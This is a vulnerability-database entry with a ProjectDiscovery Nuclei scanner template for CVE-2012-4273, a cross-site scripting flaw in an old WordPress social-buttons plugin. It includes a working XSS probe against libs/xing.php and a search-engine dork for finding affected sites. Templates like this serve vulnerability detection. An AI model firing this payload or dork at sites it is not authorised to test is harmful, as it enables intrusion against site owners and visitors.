Lucene search

K
nucleiProjectDiscoveryNUCLEI:CVE-2012-4273
HistoryJul 14, 2021 - 11:51 p.m.

2 Click Socialmedia Buttons < 0.34 - Cross-Site Scripting

2021-07-1423:51:46
ProjectDiscovery
github.com
1

4.3 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:N/C:N/I:P/A:N

5.9 Medium

AI Score

Confidence

High

0.003 Low

EPSS

Percentile

65.4%

A cross-site scripting vulnerability in libs/xing.php in the 2 Click Social Media Buttons plugin before 0.34 for WordPress allows remote attackers to inject arbitrary web script or HTML via the xing-url parameter.

id: CVE-2012-4273

info:
  name: 2 Click Socialmedia Buttons < 0.34 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: A cross-site scripting vulnerability in libs/xing.php in the 2 Click Social Media Buttons plugin before 0.34 for WordPress allows remote attackers to inject arbitrary web script or HTML via the xing-url parameter.
  impact: |
    Allows attackers to inject malicious scripts into web pages viewed by users, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Update to the latest version of the 2 Click Socialmedia Buttons plugin (0.34 or higher) to fix the XSS vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2012-4273
    - http://plugins.trac.wordpress.org/changeset?old_path=%2F2-click-socialmedia-buttons&old=532798&new_path=%2F2-click-socialmedia-buttons&new=532798
    - http://wordpress.org/extend/plugins/2-click-socialmedia-buttons/changelog/
    - http://packetstormsecurity.org/files/112615/WordPress-2-Click-Socialmedia-Buttons-Cross-Site-Scripting.html
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/75518
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
    cvss-score: 4.3
    cve-id: CVE-2012-4273
    cwe-id: CWE-79
    epss-score: 0.00252
    epss-percentile: 0.65097
    cpe: cpe:2.3:a:ppfeufer:2-click-social-media-buttons:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: ppfeufer
    product: "2-click-social-media-buttons"
    google-query: "inurl:\"/wp-content/plugins/2-click-socialmedia-buttons\""
  tags: cve,cve2012,wordpress,xss,wp-plugin,packetstorm,ppfeufer
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/2-click-socialmedia-buttons/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - '2 Click Social Media Buttons'
          - 'Tags:'
        condition: and

  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/2-click-socialmedia-buttons/libs/xing.php?xing-url=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a004730450221009495c090f698113d0e1574cb3dcbc0b559ad192f6a04012c7dfdd06de3faf3bf02206ac6fe436c81ac4a8f630ef89c1293168cc6e9c8e15a8736c309a8b827967131:922c64590222798bb761d5b6d8e72950

4.3 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:N/C:N/I:P/A:N

5.9 Medium

AI Score

Confidence

High

0.003 Low

EPSS

Percentile

65.4%

Related for NUCLEI:CVE-2012-4273